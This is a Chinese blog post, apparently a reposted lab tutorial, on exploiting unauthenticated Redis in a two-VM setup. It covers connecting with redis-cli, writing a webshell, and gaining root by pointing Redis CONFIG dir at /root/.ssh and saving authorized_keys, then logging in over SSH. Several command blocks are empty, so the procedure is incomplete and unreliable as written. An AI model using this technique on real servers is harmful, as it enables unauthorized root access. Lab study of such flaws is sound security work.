redis(未授权访问漏洞)

news2024/9/26 5:25:01

环境准备

  1. 下载并安装Redis

    首先,下载Redis的源代码包并解压:

    wget http://download.redis.io/releases/redis-2.8.17.tar.gz
    tar xzf redis-2.8.17.tar.gz
    cd redis-2.8.17
    


    接着,编译安装Redis:


    编译完成后,进入src目录,将redis-serverredis-cli拷贝到/usr/bin目录下:

    cd src
    sudo cp redis-server redis-cli /usr/bin/
    


    然后,将Redis配置文件redis.conf拷贝到/etc/目录下:

    cd ..
    sudo cp redis.conf /etc/
    


    使用配置文件启动Redis服务:

    sudo redis-server /etc/redis.conf
    

  2. 克隆虚拟机

    将当前虚拟机克隆为两台虚拟机,一台作为攻击机,一台作为靶机。设定如下IP地址:

    • 攻击机 IP: 192.168.205.148
    • 靶    机 IP: 192.168.205.149

    启动Redis服务后,我们将使用redis-cli工具在攻击机上与靶机上的Redis服务进行交互。

未授权访问漏洞测试

Redis在未启用认证的情况下,可能允许任何人无授权访问。使用Redis客户端直接连接靶机Redis服务进行验证:

redis-cli -h 192.168.205.149

若能成功连接且未要求认证,则说明Redis服务存在未授权访问漏洞。

利用Redis写入Webshell

利用Redis未授权访问漏洞,可以写入Webshell来实现远程代码执行。以下是利用Redis的步骤:

  1. 确认条件

    • 靶机Redis服务未启用认证
    • 攻击机能通过redis-cli连接到靶机
    • 靶机上有Web服务器,并且知道Web服务器的路径
  2. 写入Webshell

    将Webshell写入靶机的Web目录。例如,将Webshell写入/home/wcy/目录下:

    确认Webshell是否成功写入后,在靶机上以验证:

利用Redis公私钥认证获取Root权限

当Redis服务以Root权限运行时,可以通过向Redis中写入SSH公钥文件来获得Root权限。以下是具体步骤:

  1. 配置Redis

    启动Redis服务:

    sudo redis-server /etc/redis.conf
    
  2. 创建SSH公钥目录

    在靶机中创建SSH公钥存放目录:

    mkdir /root/.ssh
    
  3. 生成SSH密钥对

    在攻击机上生成SSH密钥对,并将公钥保存到文件中:



  4. 将公钥写入Redis

    连接到靶机Redis服务:

    redis-cli -h 192.168.205.149
    


    获取Redis配置中的目录路径:

    CONFIG GET dir
    


    将目录路径更改为SSH公钥目录,并将公钥文件名设置为authorized_keys

    CONFIG SET dir /root/.ssh
    CONFIG SET dbfilename authorized_keys
    



    将公钥写入Redis:

  5. 验证并使用SSH登录

    在攻击机上,使用生成的私钥进行SSH免密登录:

    ssh -i id_rsa root@192.168.205.149

    成功登录后,即完成了利用Redis未授权访问漏洞获取Root权限的过程。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2077472.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

自动化任务工具 | zTasker v1.97.1 绿色版

在自动化任务管理领域,一款名为zTasker的软件以其卓越的性能和易用性脱颖而出。今天,电脑天空将为大家详细介绍这款软件的亮点和使用场景。 功能特点 1. 轻量级设计,快速启动 zTasker以其小巧的体积和快速的启动速度,为用户提供…

模型 7S分析法(麦肯锡)

系列文章 分享 模型,了解更多👉 模型_思维模型目录。组织全面诊断,战略协同优化。 1 7S分析法(麦肯锡)的应用 1.1 邮储银行的转型:基于麦肯锡7S模型的竞争力提升 中国邮储银行面临着激烈的金融行业竞争,为了迅速提升…

考研数学 高等数学----导数应用

核心框架 前置知识 正式内容 知识点1: 知识点2: 知识点: 知识点: 知识点: 知识点: 知识点: 知识点: 知识点: 知识点: 知识点: 知识点: 知识点: 知识点: 知识点: 知识点: 知识点: 知识点: 知识点: 知识点: 知识点: 知识点: 知识点: 知识点: 知识点: 知…

嵌入式系统课后习题(带答案)

资料截图(部分): 🚀 获取更多详细资料可点击链接进群领取,谢谢支持👇 点击免费领取更多资料

Ant Design Vue中Modal.confirm无法自动关闭

温馨tips:着急看解决方法可跳过碎碎念~ 前两天经理扔给我一个问题:“这个弹窗怎么关不上了?” 我怀着无所谓的心态:小意思啦,5分钟之内解决完~ …当然flag是不能随便乱立的 拉下来项目(原神启动(不是&…

@ohos.systemParameterEnhance系统参数接口调用:获取系统属性

在去年的文章,笔者介绍了如何使用修改修改OpenHarmony 设备厂家名称 、硬件版本号 等系统属性,本文介绍一下在应用层怎么获取系统属性。 开发环境 DAYU200 rk3568开发板OpenHarmony 4.1r API 10 (full sdk)DevEco Studio 4.1 Release 开发步骤 1.首先…

浅谈【数据结构】树与二叉树之哈夫曼树

目录 1、哈夫曼树 1.1哈夫曼编码 1.2哈夫曼树 1.3构建一棵哈夫曼树 谢谢帅气美丽且优秀的你看完我的文章还要点赞、收藏加关注 没错,说的就是你,不用再怀疑!!! 希望我的文章内容能对你有帮助,一起努力吧…

【FPGA数字信号处理】什么是信号?

在数字信号处理的奇妙世界里!“信号”是一切的基础,理解了信号,就相当于拿到了开启数字信号处理大门的钥匙。 今天,就让我们一起深入探究数字信号处理基础中的“信号”。 一、信号的基本概念 信号,简单来说&#xf…

【持续更新】Mχ Plaayer Pro 1.86.0安卓知名播放器最新免费高级修改版

Mχ Plaayer Pro MOD 版本免费 APK,专为安卓手机和平板打造。这是一款功能强大的视频播放器,具备先进的硬件加速技术和字幕支持功能。 • 硬件加速 - 新增 HW 解码器帮助更多视频格式实现硬件加速。 • 多核心解码 - Mχ Plaayer 是首款支持多核心解码的…

链接 -- 动静态链接 --特点、区别、静态库安装下载

1.链接是什么? 我们的程序,和 库(语言一定会有自己的标准库) 结合的过程就叫做链接。 2.为什么有链接? 让开发站在巨人的肩膀,提高开发效率。 c语言库: ls /user/include/ 动静态库的特点与区别…

领域驱动设计DDD详解与战术建模落地

一、什么是DDD? 1.1、DDD的概念 Domain-Driven Design(领域驱动设计)它由Eric Evans在他的2003年出版的书籍《Domain-Driven Design: Tackling Complexity in the Heart of Software》中首次提出。DDD 核心思想是通过领域驱动设计方法定义领…

COMSOL工业碱性电解槽(3D、双欧拉模型)

本案例通过改写COMSOL官方案例获得,使用了碱性电解槽和欧拉-欧拉(湍流)模型,阳极室和阴极室带有乳突状的结构,模型进行了人为缩小,仅供参考。其中一些参数可参考如下链接文章的说明。COMSOL碱性电解槽参数解…

在NextChat中接入SiliconCloud API 体验不同的开源先进大语言模型

NextChat介绍 One-Click to get a well-designed cross-platform ChatGPT web UI, with GPT3, GPT4 & Gemini Pro support. 一键免费部署你的跨平台私人 ChatGPT 应用, 支持 GPT3, GPT4 & Gemini Pro 模型。 主要功能 在 1 分钟内使用 Vercel 免费一键部署提供体积…

Cyberchef实用功能之-json解析美化和转换

本文将介绍如何使用cyberchef的json操作功能,根据自己的需求处理常见的json问题。 在网络安全日常的运营,护网行动,重保活动的过程中,经常需要查看多种平台的json格式日志,如下: 以json格式存储的防火墙日…

基于Python Django的保险数据分析系统优化要点

🎓 作者:计算机毕设小月哥 | 软件开发专家 🖥️ 简介:8年计算机软件程序开发经验。精通Java、Python、微信小程序、安卓、大数据、PHP、.NET|C#、Golang等技术栈。 🛠️ 专业服务 🛠️ 需求定制化开发源码提…

畅捷通CRM newleadset.php SQL注入漏洞复现

0x01 产品简介 用友畅捷通CRM是面向小企业全力打造的简单、实用的客户关系管理应用。帮助企业用好自己的客户资源、管好商机跟进过程、引导好业务员跟单行为,促进团队销售能力的提升;通过查询和分析,识别企业的价值客户,融合电话、短信、邮件等工具,实现精准营销;帮助企…

STM32(F103ZET6)第一课:按键控制LED灯和蜂鸣器

目录 功能要求一、开发思路二、详细过程1.查看原理图2.各模块编写LED灯按键使用蜂鸣器 功能要求 设备上电,4个灯灭 按键1按下,4个灯灭 按键2按下,4个灯亮 按键3按下,蜂鸣器响 按键4按下,蜂鸣器关闭 一、开发思路 1.…

ARM32开发——(八)中断

1. 中断概念 中断是计算机系统中的一种机制,用于响应外部事件或内部事件,它可以使单片机暂时中断正在执行的程序,转而去执行一个中断处理函数,待中断处理函数执行完毕后,再回到原来的程序继续执行。中断机制使得计算机可以响应各…

【已解决】Win11任务栏怎么使用小图标_Win11任务栏调整图标大小方法

使用注册表编辑器 1、打开运行,并输入 regedit 命令,确定或回车,可以打开注册表编辑器。 2、注册表编辑器窗口,依次展开到以下路径: HKEY_CURRENT_USER-Software-Microsoft -Windows-CurrentVersion-Explorer-Advanc…

『功能项目』技能释放【08】

我们打开上一篇07摄像机跟随角色的项目, 本章要做的事情是摄像机跟随主角移动, 首先创建一个空文件夹Resources 创建一个球体Shpere 修改球体缩放尺寸 创建一个材质Material 将材质重命名为Yellow,色板调至为黄色 将Yellow材质球拖拽至球体S…